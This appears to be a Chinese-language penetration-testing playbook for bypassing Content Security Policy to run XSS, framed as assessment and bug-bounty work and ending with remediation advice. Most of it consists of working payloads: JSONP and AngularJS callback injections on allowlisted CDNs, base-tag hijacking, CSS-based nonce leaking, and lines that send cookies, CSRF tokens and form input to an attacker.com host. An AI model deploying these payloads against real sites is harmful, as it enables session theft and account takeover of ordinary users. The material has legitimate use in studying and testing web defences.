performing-content-security-policy-bypass

执行内容安全策略绕过

何时使用

• 当发现 XSS 但执行被 Content Security Policy 阻止时
• 在 Web 应用安全评估期间评估 CSP 有效性时
• 当测试 CSP 对已知绕过技术的稳健性时
• 在漏洞赏金狩猎中，当 CSP 阻止直接的 XSS 利用时
• 当审计 CSP 头配置以查找安全弱点时

前提条件

• 用于拦截响应和分析 CSP 头的 Burp Suite
• 用于自动化策略分析的 CSP Evaluator（Google）
• 理解 CSP 指令（script-src、default-src、style-src 等）
• 了解 CSP 绕过技术（JSONP、base-uri、object-src）
• 用于 CSP 违规监控的浏览器开发者工具
• 收集白名单域 JSONP 端点

工作流

步骤 1 — 分析 CSP 策略

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

步骤 2 — 利用 unsafe-inline 和 unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

步骤 3 — 利用白名单域 JSONP 端点

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

步骤 4 — 利用 base-uri 和表单 Action 绕过

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

步骤 5 — 利用 Nonce 和 Hash 绕过

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

步骤 6 — 在没有 script-src 的情况下利用数据外泄

# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

关键概念

概念	描述
unsafe-inline	允许内联脚本执行的 CSP 指令，破坏 XSS 防护
基于 Nonce 的 CSP	使用随机 nonce 允许特定脚本，同时阻止注入的脚本
JSONP 绕过	利用白名单域上的 JSONP 端点执行攻击者回调
策略注入	通过头中反射的用户输入注入 CSP 指令
base-uri 劫持	通过注入 base 元素重定向相对脚本加载
脚本小工具	可被滥用来绕过 CSP 的合法库功能
CSP Report-Only	仅记录违规而不阻止的非强制 CSP 模式

工具与系统

工具	用途
CSP Evaluator	用于分析 CSP 策略弱点的 Google 工具
Burp Suite	用于 CSP 头分析和绕过测试的 HTTP 代理
CSP Scanner	用于识别 CSP 绕过机会的浏览器扩展
csp-bypass	精选的 CSP 绕过技术和有效载荷列表
RetireJS	识别白名单 CDN 上的易受攻击 JavaScript 库
DOM Invader	用于通过 DOM 操作测试 CSP 绕过的 Burp 工具

常见场景

1. JSONP 回调 XSS — 利用白名单 CDN 域上的 JSONP 端点执行包含 XSS 有效载荷的 JavaScript 回调
2. AngularJS 沙箱逃逸 — 从白名单 CDN 加载 AngularJS，并使用模板注入绕过 CSP 脚本限制
3. Nonce 泄露 — 通过 CSS 注入或 DOM clobbering 提取 CSP nonce 值，以使用有效 nonce 注入脚本
4. Base URI 劫持 — 注入 base 元素将所有相对脚本加载重定向到攻击者控制的服务器
5. Report-Only 利用 — 识别处于 report-only 模式的 CSP，其中违规被记录但未被阻止，从而实现直接 XSS

输出格式

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers